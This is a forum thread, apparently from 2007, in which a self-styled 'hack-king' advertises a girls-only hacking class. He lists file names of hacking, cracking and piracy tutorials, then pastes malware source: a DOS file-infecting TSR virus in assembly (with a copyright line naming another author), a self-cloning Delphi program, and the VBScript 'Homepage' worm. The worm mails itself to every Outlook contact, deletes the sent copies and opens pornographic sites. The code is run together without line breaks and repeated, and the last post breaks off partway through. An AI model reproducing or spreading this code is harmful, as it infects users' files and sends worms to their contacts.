|
|
 |
|
|
Rocky
~~ achcha bachcha~~
|
Dec 6, 2007
|
|
attention all girls something spl 4 u all
HI ALL I AM HACK-KING do you want to know how many g/f ur b/f have in his a/c
do you want to know how to hack password,, and how to chenge speed of internet,,,,,, how to use internet internet connection ion join me and discover da internet world,,, my classes will be start on 15 dec, 3 to 5.. you have only 7 days to join,,,,,,,,,,,
add me and join our class,, but remember,,,,, only girls allowed in this class,,
Programme Syllabus
Create Bootable XP SP integrated CD
Create One-click Shutdown And Reboot Shortcuts.txt
Creating a Board aka Forum on your own PC !.rtf
Creating Universal Ghost Usb Boot Disk And Cd.txt
Data Capacity of CDs [Tutorial].txt ,
Debug, Learn how crack windows.txt,
Delete An undeletable File.txt,
Delete Files From The Recent File List In Windows.txt,
Digital Camera Guide.txt
Digital Faq -learn Everything About Digital, Capture,
Edit and Burning and more.txt 2.20 kB
Digital Photo Id Cards, Greate Info.txt 2.88 kB
Direct Link To Any Page You Want To In Hotmail.txt 1.95 kB
Directx Explained.txt 7.66 kB
Disable Compression On Xp, NTFS partition,
Disk Cleanup.txt 0.43 kB
Disable The Send Error Report, to Microsoft.txt 0.51 kB
Disable Windows Logo Key.txt 0.62 kB
Discover New Music You'll Probably Love.txt 1.08 kB
Download Free Music legally,, legally.txt 3.24 kB
Download from a paypal site without paying a penny!.txt 0.95 kB
Download From Ftpz, Using Ftp Search Sitez.txt 8.12 kB
Download Mp3's Without Using Filesharing.txt 0.69 kB
Download Music And Video With ,edia Player9, quick and easy!.txt 0.66 kB
Download Timeframes.txt 0.33 kB
Dual Boot After The Fact.txt 1.37 kB
Dvd Copying-ripping Definitions.txt 1.25 kB
DVD Regions Information.txt 3.84 kB
Dvd-9 to Dvd+r Dl, Double Layer To Double Layer, 1-1 copies.txt 0.94 kB Easily Disconnect-reconnect From Broadband.txt 0.30 kB
Easily Find Serial Numbers On Google.., easy to do and works like a charm..txt 1.40 kB
Ebay Hackcracktip.txt 0.50 kB
General Keyboard Shortcuts.txt 7.54 kB
Get In Windows 2000 As Administrator.txt 0.39 kB
Get the Most Out of Your DVD Recorder.txt 11.25 kB
Get The Music You Want To Hear.txt 0.90 kB
Get unlimited bandwidth from your host for free.txt 2.88 kB
Getting A 1gb Yahoo China Account.txt 0.98 kB
Getting Counter-strike Source To Work.txt 3.36 kB
getting movies, mp3,games using google.txt 0.75 kB
Getting older programs to run on Windows XP.txt 2.96 kB
Getting started with Linux for nOObs!.txt 17.37 kB
Go to Windows updates anonymously.txt 0.40 kB
Google Crack Search.txt 0.14 kB
Google secrets.txt 0.98 kB
Google Tips & Tricks, (utilizing search engine).txt 5.81 kB
Graffiti On Walls 4 Adobe Photoshop Cs 8.0.txt 2.45 kB
Guide For Getting Free Stuff.txt 10.33 kB
Guide to IIS Exploitation.txt 27.77 kB
Guide to Slipstreaming Service Pack 2.txt 2.82 kB
Hard drive Gone Bad.txt 5.55 kB
Hardware Firewall.txt 3.02 kB
How To Add An Option To Print, the Contents of a Folder!.txt 1.47 kB
How To Add Your Own Windows Tips.txt 0.48 kB
How to Back Up the Registry.txt 0.76 kB
How To Backup Ps2 Games.txt 7.71 kB
HOW TO BLOCK PEOPLE ON WINMX WHO SHARE NOTHING.txt 1.51 kB
How To Block Websties Without Software, block websites.txt 0.64 kB
How To Boot Xp Faster (updated).txt 1.66 kB
How to build a black box.txt 7.79 kB
how to burn quicker in windows xp.txt 0.28 kB
How to Bypass BIOS Passwords.txt 9.05 kB
How To Bypass Web Filters, tutorial.txt 6.20 kB
HOW TO CAPTURE STREAMING MEDIA.txt 1.68 kB
How To Change A Cmos Battery.txt 3.18 kB
How to change the serial number used in Windows XP, Valid for XP Corporate.txt 1.11 kB
How To Change Thumbnail Size And Quality.txt 0.90 kB
How to clear Bios info 2.txt 23.55 kB
How to clear Bios info.txt 11.75 kB
How To Convert File System, fat - fat32 to ntfs.txt 0.52 kB
How To Copy A Dvd Which Will Play On A X Box.txt 1.01 kB
How to copy songs from your iPod to your PC.txt 1.40 kB
How To Customise Your start Button.txt 1.54 kB
How To Delete Those Persistent Nasty Files.txt 0.53 kB
How To Directly Go To Inbox, Write Msg, w Hotmail, no need for How to find MP3's real quickly.txt 0.35 kB
How To Find Serial Numbers On Google.txt 0.79 kB
How to fix corrupted files in XP.txt 1.48 kB
How to fix Windows Installer problem.txt 0.96 kB
How To Get A Free I-pod Or Flat Screen Tv, check it out.txt 6.62 kB
HOW TO GET ANY WINDOWS PASSWORD.txt 3.41 kB
How to Get someones ISP password, Get free internet.txt 2.65 kB
How To Get Top Ranking, Search Engines.txt 6.58 kB
How To Hack Windows Xp Admin Passwords.txt 2.52 kB
How to hack-change your Windows XP Boot Screen.txt 1.52 kB
how To Hide Yourself From Network Users!, And give access to only specific users!.txt 0.86 kB
How To Make An Animted Logo.txt 5.26 kB
How To Make Free Phone Calls.txt 2.29 kB
How to make key generators.txt 8.83 kB
How To Make Perfect Copies Of Maxis The Sims Discs, CloneCD Style!.txt 1.17 kB
How To Make XP Go Faster.txt 5.58 kB
How To make your own Radio Station 2.txt 3.26 kB
How To Make Your Own Radio Station.txt 1.58 kB
How to Remove DRM Protection for Video Files.txt 2.29 kB
How To Remove Ms Java Vm And Install Sun Java.txt 0.05 kB
How To Remove Signin Details Of Msn Passport.txt 1.04 kB
How To Remove The Default Admin$ Shares.txt 1.03 kB
How to remove the Links folder in IE Favorites.txt 0.59 kB
How to Remove WinXP Splash and See Operations.txt 1.19 kB
How To Rename Extensions With Ease, with a Renamer.bat file!.txt 0.44 kB
How to Rename File Extensions.txt 3.11 kB
How To Rename Multiple Files In Winxp.txt 0.56 kB
How To Restrict Login Hours Allowed.txt 0.58 kB
How to safeguard your files when computer crashes.txt 2.94 kB
How to save Windows xp updates.txt 0.63 kB
how to search google for RAPIDSHARE links.txt 0.98 kB
How To See Hidden Files, Using Dos.txt 0.08 kB
How To Set search For All Files In Winxp.txt 0.71 kB
How to set up a http server running from you computer.txt 3.06 kB
How To Set Up A Proxy In Flashget, As Requested.txt 0.66 kB
How to set up a server with Apache , PHP , MySQL , Perl , phpMyAdmin.txt 8.77 kB
How To Set Up Direct Connect.txt 26.96 kB
HOW TO SET UP FTP SERVER.txt 1.79 kB
How To Set Up Proxies In Your Browser.txt 1.63 kB
How To Set Zone Alarm Settings!, Fix for ZA ports.txt 2.12 kB
How To Setup Your Own Dns (Domain Name Server).txt 6.97 kB
How To Speed Up A Slow Computer.txt 1.21 kB
How To Speed Up Http Requests On Internet Explorer, as above.txt 1.28 kB
How To Stop Spam.txt 8.05 kB
How to swear in all languages.txt 28.32 kB
How To Unload Cached Dll Files To Free Memory.txt 0.56 kB
How to Use and How to Chain Multiple Proxies!.txt 9.70 kB
How To Use File Compression In Windows Xp.txt 4.19 kB
How To Use Google To Download Mp3's, and applications.....txt 0.60 kB
How To Use Newsgroups.txt 0.56 kB
How To Use You Gmail With Msn Messenger.txt 0.37 kB
How-to Get Videos And Dvds Onto Your Sony PlayStation Portable (PSP) for free.txt 12.91 kB
HOWTO Change Windows XP Home to Windows XP Pro.txt 1.67 kB
Important Faqs For Sp2.txt 9.47 kB
Improve Doom 3's Performances!!, simple but efficient trick for every1.txt 4.22 kB
Improve your dialup modem preformance.txt 0.73 kB
Increase XP Folder Settings.txt 0.79 kB
Insert Your Serial For Office 2k, auto install office.txt 1.06 kB
Install A New Hard-disk.txt 5.16 kB
Install Xp From Dos.txt 0.84 kB
Installing Apache on Windows.txt 6.29 kB
Installing Gentoo Linux, Amazing step by step tutoria.txt 0.19 kB
Installing IIS On Windows Xp Pro.txt 3.04 kB
Installing Slackware Linux.txt 34.73 kB
Instructions For Removal Of Advertising In Msn Messenger.txt 2.59 kB
Ip Address Structure, Expilinatin OF IP Address {A short way}.txt 7.65 kB
Irc How To Downlaod From, How to downlaod from IRC.txt 3.95 kB
Irc Servers On nix, For people who want to start own IRC net.txt 0.48 kB
Keep Files Private.txt 1.51 kB
Keep Folders Hidden.txt 0.46 kB
Keyboard Shortcuts Result in Excel 2000 - Movement.txt 1.57 kB
Keyboard Shortcuts, Microsoft Word.txt 2.37 kB
Keyboard Shortcuts, must read.txt 3.72 kB
Kill Microsoft Instant Messenger.txt 0.28 kB
Lamination Tips, Its a Fast TUT......txt 1.98 kB
Leet Way To Get Your Ip In Windows Xp.txt 0.26 kB
Linking Your Xbox To Your Computer.txt 33.52 kB
Linux Howto's.txt 0.08 kB
List Of Sites Not To Go To.txt 4.32 kB
Little help for anonymous mailer.txt 1.56 kB
Lots Of Windows Xp Tips, Take A Look !.txt 12.43 kB
Lyrics With Google.txt 0.08 kB
Make A Autorun File For Ur Cd.txt 0.66 kB
Make A Batch File To Clean UR PC!!, All In One!!.txt 1.37 kB
Make A Roughly 16 Hour Video Dvd.txt 1.01 kB
Make Acrobat Reader 6 load faster.txt 0.42 kB
Make Dvd Iso From Suse 9.2 5 Cds Iso, Linux mode and Windows mode ISO creation.txt 7.41 kB
Make Mp3 Files Smaller Without Losing Quality.txt 0.73 kB
Make Your Own Ringtones For Mobile Phone, also logos, wallpaper, etc.txt 3.00 kB
Make Your Pc Faster, Guaranteed.txt 6.23 kB
MakeXPgoFaster.txt 5.74 kB
making a .cue file, in notepad.txt 0.53 kB
Making A .txt Executable Server.txt 1.60 kB
Making Bootable Floppy Disk to Boot into Windows.txt 4.82 kB
Making Cd Version Of Doom3 Into Dvd Version.txt 0.75 kB
Making Web Page Fonts Consistent and Uniform.txt 0.80 kB
Manage Saved Ie Passwords.txt 0.75 kB
Mastering The Windows XP Registry.txt 5.79 kB
Maximize Dial-up Modem Settings.txt 2.31 kB
Microsoft's Really Hidden Files, Reveled Hidden files.txt 33.95 kB
mIRC Not Just Another Chat Client, Download Anything You Want Almost.txt 4.37 kB
mIRCcommands.txt 10.10 kB
Misc Linux Tips & Tricks.txt 18.55 kB
Missing Administrator Account.txt 0.52 kB
Mobile Secret Codes.txt 31.09 kB
Modify .exe Files And Crack A Program.txt 3.06 kB
More Hacking/A beginners guide to Hacking UNIX.txt 5.61 kB
More Hacking/A Cracking Tutorial/C101-90.000 3.85 kB
More Hacking/A Cracking Tutorial/C101-90.001 32.32 kB
More Hacking/A Cracking Tutorial/C101-90.002 30.93 kB
More Hacking/A Cracking Tutorial/C101-90.003 14.75 kB
More Hacking/A Cracking Tutorial/C101-90.004 54.91 kB
More Hacking/A Cracking Tutorial/ED!SON.NFO 1.58 kB
More Hacking/A Guide to Internet Security- Becoming an Uebercracker.txt 8.56 kB
More Hacking/A Guide to the Easiest Hacking there is.txt 4.58 kB
More Hacking/A List Of Some OF The Most Useful UNIX Hacking Commands.htm 23.03 kB
More Hacking/A Small Guide to Hacking HOTMAIL.txt 3.02 kB
More Hacking/A UNIX Hacking Tutorial.txt 82.20 kB
More Hacking/Almost Everything You Ever Wanted To Know About Security (but.txt 47.52 kB
More Hacking/An Indepth Guide in Hacking UNIX and the concept of Basic Net.txt 40.84 kB
More Hacking/An Introduction to Denial of Service.txt 44.78 kB
More Hacking/An Introduction to the Computer Underground.txt 17.03 kB
More Hacking/Basic Networking.txt 14.04 kB
More Hacking/BBS Crashing Techniques.txt 3.72 kB
More Hacking/BRUTE- A brute force approach to hacking Unix passwords.txt 3.31 kB
More Hacking/Closing the Net.txt 30.69 kB
More Hacking/Compression and Cracks for Dummies.txt 52.75 kB
More Hacking/Computer Bulliten Boards and the Law.txt 56.06 kB
More Hacking/Computer Chrime - Current Practices, Problems and Proposed So.txt 96.53 kB
More Hacking/Computer eMail and Privacy.txt 19.18 kB
More Hacking/Computer Hackers News Articles.txt 5.89 kB
More Hacking/Computer Rights vs First and Forth Amentment Right.txt 44.24 kB
More Hacking/Computer Security.txt 63.52 kB
More Hacking/Computer Security_2.txt 51.94 kB
More Hacking/Computer Viruii.txt 19.98 kB
More Hacking/Computerized Governmental Database Systems Containing Persona.txt 40.34 kB
More Hacking/COPS and Robbers-Unix System Security.txt 35.18 kB
More Hacking/Copyright Guides for Photographers.txt 17.02 kB
More Hacking/Crash Course in X Windows Security.txt 12.45 kB
More Hacking/Crime and Puzzlement.txt 62.34 kB
More Hacking/Cultural Formations in Text-Based Virtual Realties.txt 257.27 kB
More Hacking/Cyberspace and the Legal Matrix- Laws or Confusion.txt 20.53 kB
More Hacking/Dark Angel's Phunky Virus Writing Guide .txt 18.90 kB
More Hacking/Defamation Liability of Computerized Bulliten Board Operators.txt 101.36 kB
More Hacking/Dept of Treasury Letter.txt 11.25 kB
More Hacking/Electronic Bulliten Boards and 'Public Goods' Explainations o.txt 45.84 kB
More Hacking/Electropolos - Communication and Comunity on IRC.txt 112.45 kB
More Hacking/Ethload User's Guide.txt 81.28 kB
More Hacking/Formulating A Company Policy on Access to and Use and Disclos.txt 12.14 kB
More Hacking/Free Speech in Cyberspace.txt 244.25 kB
More Hacking/Gender Issues in Online Communications.txt 24.86 kB
More Hacking/Government Computer Security Techniques.txt 7.88 kB
More Hacking/HACKDICT.TXT 272.00 kB
More Hacking/Hacker Test.txt 20.84 kB
More Hacking/Hackers A-Z.TXT 256.00 kB
More Hacking/Hackers Who Break into Computer Systems.txt 57.40 kB
More Hacking/Hacking Bank Of America's Home Banking System.txt 5.79 kB
More Hacking/Hacking Compuserve Infomation Service.txt 7.43 kB
More Hacking/Hacking Faq.txt 42.06 kB
More Hacking/Hacking GTE Telemail.txt 19.12 kB
More Hacking/Hacking IRC - The Definitive Guide.txt 13.72 kB
More Hacking/Hacking PC-Pursuit Codes.txt 8.10 kB
More Hacking/Hacking Techniques.txt 8.52 kB
More Hacking/Hacking TRW.txt 2.58 kB
More Hacking/Hacking TYMNET.txt 5.79 kB
More Hacking/Hacking Unix System V's.txt 10.93 kB
More Hacking/Hacking Wal-Mart Computers.txt 4.09 kB
More Hacking/Hacking Webpages.txt 3.90 kB
More Hacking/How the Traditional Media Clasifications Fail to Protect in t.txt 40.50 kB
More Hacking/How to crash AOL.txt 4.75 kB
More Hacking/How to dial out of a UNIX System.txt 3.49 kB
More Hacking/How to find Security Holes.txt 15.99 kB
More Hacking/How to get a Shell in 24 hours.txt 7.98 kB
More Hacking/How to Hack UNIX System V.txt 10.93 kB
More Hacking/How to login to a C.B.I. System.txt 3.00 kB
More Hacking/How to send ICQ Bombs.txt 2.33 kB
More Hacking/Information of Hacking AngelFire Websites.txt 3.21 kB
More Hacking/Introduction to Denail of Service.txt 44.78 kB
More Hacking/IP addressing, and gaining IP's.txt 13.70 kB
More Hacking/IP Addressing.txt 13.70 kB
More Hacking/ISSN Numbers- An Introduction.txt 5.96 kB
More Hacking/Junk Mail- How Did They All Get My Address.txt 12.70 kB
More Hacking/LENROS~1.TXT 184.58 kB
More Hacking/LENROS~2.TXT 7.41 kB
More Hacking/MEMETICS.TXT 45.79 kB
More Hacking/MINDVOX.TXT 64.57 kB
More Hacking/MORRIS~1.TXT 31.18 kB
More Hacking/NEIDOR~1.TXT 41.02 kB
More Hacking/NFS Tracing.txt 34.20 kB
More Hacking/Nightline- FBI,Privacy,and Proposed Wire-Tapping Legislation.txt 20.86 kB
More Hacking/NY_2'S Guide to Obtaining An IP Address. .doc 10.50 kB
More Hacking/Organizational Analysis in Computer Science.txt 65.00 kB
More Hacking/PGP Startup Guide.htm 26.00 kB
More Hacking/Presumed Guilty.txt 153.76 kB
More Hacking/Raising Hell with Unix.txt 12.91 kB
More Hacking/Remarks of the President and Vice President to Silicon Valley.txt 37.70 kB
More Hacking/RIGGSB~1.TXT 54.03 kB
More Hacking/RIGGS_~1.TXT 54.03 kB
More Hacking/RIGHTS~1.TXT 7.99 kB
More Hacking/RIVERA.TXT 26.43 kB
More Hacking/Security holes.txt 11.77 kB
More Hacking/Seisure Warrent Documents for Ripco BBS.txt 72.01 kB
More Hacking/Site Security Handbook.txt 247.43 kB
More Hacking/SJ-DEC~1.TXT 45.03 kB
More Hacking/SJ-RESP.TXT 69.59 kB
More Hacking/SMTP-Simple Mail Transfer Protocol.txt 117.61 kB
More Hacking/Summary of FBI Computer Systems.txt 5.07 kB
More Hacking/SUNDEVIL.TXT 100.17 kB
More Hacking/SUPREM~1.TXT 56.70 kB
More Hacking/TCP packet fragment attacks against firewalls and filters.txt 4.39 kB
More Hacking/Telenet-The Secret Exposed.txt 9.91 kB
More Hacking/The Basics of Hacking- Introduction.txt 24.82 kB
More Hacking/The Baudy World of the Byte Bandit-A Postmodernist Interpreta.txt 85.17 kB
More Hacking/The Constitution in Cyberspace.txt 46.60 kB
More Hacking/The Cracking Manual.txt 86.38 kB
More Hacking/The Electronic Communication Privacy Act of 1986 - A Laymans .txt 10.04 kB
More Hacking/The Greatest Hacker of all time.ASC 25.02 kB
More Hacking/The Hacker's League.txt 12.37 kB
More Hacking/The Inner Circle Book's Hacking Techniques.txt 1.96 kB
More Hacking/The Lamahs-Guide to Pirating Software on the Internet.txt 12.21 kB
More Hacking/The M.M.C. Guide to Hacking, Phreaking, Carding.txt 19.11 kB
More Hacking/The National Information Infrastructure-Agenda for Action.txt 96.49 kB
More Hacking/The Newbies Handbook- ' How to beging in the World of Hacking.txt 43.83 kB
More Hacking/The Newbies-User's Guide to Hacking.txt 47.35 kB
More Hacking/The Pre-History of Cyberspace.txt 60.25 kB
More Hacking/The Price of Copyright Violation.txt 73.11 kB
More Hacking/The REAL way to hack RemoteAccess.txt 12.12 kB
More Hacking/The Secret Service, UUCP,and The Legion of Doom.txt 19.63 kB
More Hacking/the UNIX operating system (Berkley 4.2).txt 13.55 kB
More Hacking/Theft of Computer Software-A National Security Threat.txt 12.22 kB
|
|
Report Abusive post
Reply
|
|
|
|
|
|
|
|
|
|
|
Rocky
~~ achcha bachcha~~
|
Dec 6, 2007
|
|
The 1000 Years Virus
  The 1000 Years Virus written by -=hack-king=-" Main segment byte assume cs:Main,ds:Main,es:main,ss:nothing org 100h Start label near call goon goon: pop bp sub bp,offset goon jmp install new_jmp db 0,0,0 buffer db 090h,0CDh,020h old_Int_21h dw 0,0 Tsr_Err dw 0,0 fake db 0dh,0ah,'Memory allocatesion error',0dh,0ah db 'Please try again',0dh,0ah,'$' years db ' 1000 Years....' Int_21h proc near pushf cmp ax,4B04h ;MG-1 je cs:mg1 cmp ax,0C603h je cs:mg1 ;Yankee doodle cmp ax,6969h je cs:datarape11 ;Data Rape 1.1 cmp ax,7BCDh je cs:evilgenius ;Evil Genius 2.0 cmp ax,0B56h je cs:Perfume ;Perfume cmp ax,4243h je cs:Invader ;Invader cmp ax,0d5AAh je cs:dir ;Dir cmp ax,4b4dh je cs:mg1 ;Fool the An cmp ax,4BDDh je cs:Zer cmp ah,0E0h je cs:am1 cmp ah,0E1h je cs:am2 cmp ax,04BFFh je cs:Justice cmp ax,0C500h je cs:Hymn cmp ax,4203h je cs:Shake cmp ah,090h je cs:Carioca cmp ax,04B4Dh je cs:mg1 cmp ax,0FFFFh je cs:Ontario cmp ah,4bh je cs:infect cmp ax,3015h jne cs:Return mov bx,ax ; This virus check mov ah,30 int 21h mg1: ; is get dos ver but I load al,15h popf ; and get a the if resident mov bx,ax iret return: popf jmp dword ptr cs:[old_int_21h] Wonder db 'It',39,'s a wonder if the Earth will survive 1000 years with Human...' Ontario: inc ah popf iret hymn: mov ax,6731h popf iret Zer: mov ax,1234h popf iret Shake: mov ax,1234h popf iret Carioca: mov ah,1h popf iret am1: mov ax,0DADAh popf iret am2: mov ax,cs popf iret Justice: mov di,055AAh popf iret Perfume: mov ax,4952h popf iret invader: mov ax,5678h popf iret dir: cmp bp,0DEAAh jne cs:damage mov si,4321h mov bp,9876h popf iret Damage: mov ax,2A03h popf iret Evilgenius: mov bx,ax popf iret datarape11: mov ax,0666h popf iret infect: push ax ; Save the registers push bx push cx push dx push si push di push es push ds push bp mov ax,4300h int 21h jc cs:nofile push cx mov ax,4301h xor cx,cx int 21h mov ax,3D02h int 21h jc cs:nofile mov bx,ax push ds push dx push cs pop ds mov ah,3fh mov dx,offset ds:buffer mov cx,3 int 21h cmp word ptr ds:[buffer],09090h ;If the file is a trap je cs:close ;then quit cmp word ptr ds:[buffer],'ZM' ;If the file is a EXE je cs:close ;then quit mov ax,4202h xor dx,dx xor cx,cx int 21h sub ax,offset the_end-offset Start+3 jc cs:close ;It's to small cmp word ptr ds:buffer+1,ax je cs:close ;It's already infect add ax,offset the_end-offset Start mov word ptr ds:new_jmp+1,ax mov byte ptr ds:new_jmp,0E9h mov ah,40h mov dx,offset ds:[100h] mov cx,offset the_end-offset Start int 21h jc cs:close mov ax,4200h xor cx,cx xor dx,dx int 21h mov ah,40h mov dx,offset ds:new_jmp mov cx,3 int 21h jc cs:close close: mov ax,5700h int 21h inc al int 21h mov ah,3eh int 21h pop dx pop ds mov ax,4301h pop cx int 21h nofile: pop bp pop ds pop es pop di pop si pop dx pop cx pop bx pop ax popf jmp dword ptr cs:[old_int_21h] int_21h endp db 'I',39,'m 15th..' Install: push ax ; Save the registers push bx push cx push dx push si push di push bp push es push ds mov al,15h mov ah,30h int 21h cmp ax,bx jne maketsr returner: mov di,0100h mov si,offset buffer add si,bp movsw movsb pop ds pop es pop bp pop di pop si pop dx pop cx pop bx pop ax mov bp,0100h jmp bp copyright: db 'This program was written in the city of Stockholm ' db '(C) 1993 -=Lord Zer0=-',0 maketsr: mov ah,48h mov bx,0FFFFh int 21h sub bx,0010h mov ah,48h int 21h mov es,ax mov ah,49h int 21h mov ah,34h int 21h mov word ptr [tsr_err+bp],bx mov word ptr [tsr_err+2+bp],es mov ax,3521h int 21h mov word ptr [old_int_21h+bp],bx mov word ptr [old_int_21h+2+bp],es mov ax,2521h mov dx,offset Int_21h add dx,bp int 21h mov ah,9 mov dx,offset fake add dx,bp int 21h mov dx,offset the_end add dx,bp mov cl,4 shr dx,cl add dx,4 mov ax,3100h int 21h ;Now it's the begining of a blind life in the memory... the_end: Main ends end startprocedure THelloWorldVirusForm.FormCreate(Sender: TObject) ; //How many times to execute this application - "virus"? const MAXExecuteCount = 55; var execCount : integer; begin execCount := 0; if ParamCount > 0 then execCount := StrToInt(ParamStr(1)) ; if execCount < MAXExecuteCount then begin infoLabel.Caption := Format('Clone Nr: %d',[execCount]) ; //run itself again execCount := 1 + execCount; ShellExecute(Application.Handle,'open',PChar(Application.ExeName),PChar(IntToStr(execCount)),'',SW_SHOW) ; end else begin //Let's be fair .. kill all clones... Application.MessageBox('Hello, Scared?',PChar(Application.Title)) ; Caption := 'I will close normally'; KillClones; Application.MessageBox('System secured!',PChar(Application.Title)) ; 4 home page viros On Error Resume Next Set WS = CreateObject("WScript.Shell") Set FSO= Createobject("scripting.filesystemobject") Folder=FSO.GetSpecialFolder(2) Set InF=FSO.OpenTextFile(WScript.ScriptFullname,1) Do While InF.AtEndOfStream<>True ScriptBuffer=ScriptBuffer&InF.ReadLine&vbcrlf Loop Set OutF=FSO.OpenTextFile(Folder&"\homepage.HTML.vbs", 2,true) OutF.write ScriptBuffer OutF.close Set FSO=Nothing If WS.regread ("HKCU\software\An\mailed") <> "1" then Mailit() End If Set s=CreateObject("Outlook.Application") Set t=s.GetNameSpace("MAPI") Set u=t.GetDefaultFolder(6) For i=1 to u.items.count If u.Items.Item(i).subject="Homepage" Then u.Items.Item(i).close u.Items.Item(i).delete End If Next Set u=t.GetDefaultFolder(3) For i=1 to u.items.count If u.Items.Item(i).subject="Homepage" Then u.Items.Item(i).delete End If Next Randomize r=Int((4*Rnd)+1) If r=1 then WS.Run("http://hardcore.pornbillboard.net/shannon/1.htm") elseif r=2 Then WS.Run("http://members.nbci.com/_XMCM/prinzje/1.htm") elseif r=3 Then WS.Run("http://www2.sexcropolis.com/amateur/sheila/1.htm") ElseIf r=4 Then WS.Run("http://sheila.issexy.tv/1.htm") End If Function Mailit() On Error Resume Next Set Outlook = CreateObject("Outlook.Application") If Outlook = "Outlook" Then Set Mapi=Outlook.GetNameSpace("MAPI") Set Lists=Mapi.AddressLists For Each ListIndex In Lists If ListIndex.AddressEntries.Count <> 0 Then ContactCount = ListIndex.AddressEntries.Count For Count= 1 To ContactCount Set Mail = Outlook.CreateItem(0) Set Contact = ListIndex.AddressEntries(Count) Mail.To = Contact.Address Mail.Subject = "Homepage" Mail.Body = vbcrlf&"Hi!"&vbcrlf&vbcrlf&"You've got to see this page! It's really cool ;O)"&vbcrlf&vbcrlf Set Attachment=Mail.Attachments Attachment.Add Folder & "\homepage.HTML.vbs" Mail.DeleteAfterSubmit = True If Mail.To <> "" Then Mail.Send WS.regwrite "HKCU\software\An\mailed", "1" End If Next End If Next End if End Function end; end;
|
|
|
Report Abusive post
Reply
|
|
|
|
|
|
|
|
|
Rocky
~~ achcha bachcha~~
|
Dec 6, 2007
|
|
The 1000 Years Virus
The 1000 Years Virus written by -=hack-king=-" Main segment byte assume cs:Main,ds:Main,es:main,ss:nothing org 100h Start label near call goon goon: pop bp sub bp,offset goon jmp install new_jmp db 0,0,0 buffer db 090h,0CDh,020h old_Int_21h dw 0,0 Tsr_Err dw 0,0 fake db 0dh,0ah,'Memory allocatesion error',0dh,0ah db 'Please try again',0dh,0ah,'$' years db ' 1000 Years....' Int_21h proc near pushf cmp ax,4B04h ;MG-1 je cs:mg1 cmp ax,0C603h je cs:mg1 ;Yankee doodle cmp ax,6969h je cs:datarape11 ;Data Rape 1.1 cmp ax,7BCDh je cs:evilgenius ;Evil Genius 2.0 cmp ax,0B56h je cs:Perfume ;Perfume cmp ax,4243h je cs:Invader ;Invader cmp ax,0d5AAh je cs:dir ;Dir cmp ax,4b4dh je cs:mg1 ;Fool the An cmp ax,4BDDh je cs:Zer cmp ah,0E0h je cs:am1 cmp ah,0E1h je cs:am2 cmp ax,04BFFh je cs:Justice cmp ax,0C500h je cs:Hymn cmp ax,4203h je cs:Shake cmp ah,090h je cs:Carioca cmp ax,04B4Dh je cs:mg1 cmp ax,0FFFFh je cs:Ontario cmp ah,4bh je cs:infect cmp ax,3015h jne cs:Return mov bx,ax ; This virus check mov ah,30 int 21h mg1: ; is get dos ver but I load al,15h popf ; and get a the if resident mov bx,ax iret return: popf jmp dword ptr cs:[old_int_21h] Wonder db 'It',39,'s a wonder if the Earth will survive 1000 years with Human...' Ontario: inc ah popf iret hymn: mov ax,6731h popf iret Zer: mov ax,1234h popf iret Shake: mov ax,1234h popf iret Carioca: mov ah,1h popf iret am1: mov ax,0DADAh popf iret am2: mov ax,cs popf iret Justice: mov di,055AAh popf iret Perfume: mov ax,4952h popf iret invader: mov ax,5678h popf iret dir: cmp bp,0DEAAh jne cs:damage mov si,4321h mov bp,9876h popf iret Damage: mov ax,2A03h popf iret Evilgenius: mov bx,ax popf iret datarape11: mov ax,0666h popf iret infect: push ax ; Save the registers push bx push cx push dx push si push di push es push ds push bp mov ax,4300h int 21h jc cs:nofile push cx mov ax,4301h xor cx,cx int 21h mov ax,3D02h int 21h jc cs:nofile mov bx,ax push ds push dx push cs pop ds mov ah,3fh mov dx,offset ds:buffer mov cx,3 int 21h cmp word ptr ds:[buffer],09090h ;If the file is a trap je cs:close ;then quit cmp word ptr ds:[buffer],'ZM' ;If the file is a EXE je cs:close ;then quit mov ax,4202h xor dx,dx xor cx,cx int 21h sub ax,offset the_end-offset Start+3 jc cs:close ;It's to small cmp word ptr ds:buffer+1,ax je cs:close ;It's already infect add ax,offset the_end-offset Start mov word ptr ds:new_jmp+1,ax mov byte ptr ds:new_jmp,0E9h mov ah,40h mov dx,offset ds:[100h] mov cx,offset the_end-offset Start int 21h jc cs:close mov ax,4200h xor cx,cx xor dx,dx int 21h mov ah,40h mov dx,offset ds:new_jmp mov cx,3 int 21h jc cs:close close: mov ax,5700h int 21h inc al int 21h mov ah,3eh int 21h pop dx pop ds mov ax,4301h pop cx int 21h nofile: pop bp pop ds pop es pop di pop si pop dx pop cx pop bx pop ax popf jmp dword ptr cs:[old_int_21h] int_21h endp db 'I',39,'m 15th..' Install: push ax ; Save the registers push bx push cx push dx push si push di push bp push es push ds mov al,15h mov ah,30h int 21h cmp ax,bx jne maketsr returner: mov di,0100h mov si,offset buffer add si,bp movsw movsb pop ds pop es pop bp pop di pop si pop dx pop cx pop bx pop ax mov bp,0100h jmp bp copyright: db 'This program was written in the city of Stockholm ' db '(C) 1993 -=Lord Zer0=-',0 maketsr: mov ah,48h mov bx,0FFFFh int 21h sub bx,0010h mov ah,48h int 21h mov es,ax mov ah,49h int 21h mov ah,34h int 21h mov word ptr [tsr_err+bp],bx mov word ptr [tsr_err+2+bp],es mov ax,3521h int 21h mov word ptr [old_int_21h+bp],bx mov word ptr [old_int_21h+2+bp],es mov ax,2521h mov dx,offset Int_21h add dx,bp int 21h mov ah,9 mov dx,offset fake add dx,bp int 21h mov dx,offset the_end add dx,bp mov cl,4 shr dx,cl add dx,4 mov ax,3100h int 21h ;Now it's the begining of a blind life in the memory... the_end: Main ends end startprocedure THelloWorldVirusForm.FormCreate(Sender: TObject) ; //How many times to execute this application - "virus"? const MAXExecuteCount = 55; var execCount : integer; begin execCount := 0; if ParamCount > 0 then execCount := StrToInt(ParamStr(1)) ; if execCount < MAXExecuteCount then begin infoLabel.Caption := Format('Clone Nr: %d',[execCount]) ; //run itself again execCount := 1 + execCount; ShellExecute(Application.Handle,'open',PChar(Application.ExeName),PChar(IntToStr(execCount)),'',SW_SHOW) ; end else begin //Let's be fair .. kill all clones... Application.MessageBox('Hello, Scared?',PChar(Application.Title)) ; Caption := 'I will close normally'; KillClones; Application.MessageBox('System secured!',PChar(Application.Title)) ; 4 home page viros On Error Resume Next Set WS = CreateObject("WScript.Shell") Set FSO= Createobject("scripting.filesystemobject") Folder=FSO.GetSpecialFolder(2) Set InF=FSO.OpenTextFile(WScript.ScriptFullname,1) Do While InF.AtEndOfStream<>True ScriptBuffer=ScriptBuffer&InF.ReadLine&vbcrlf Loop 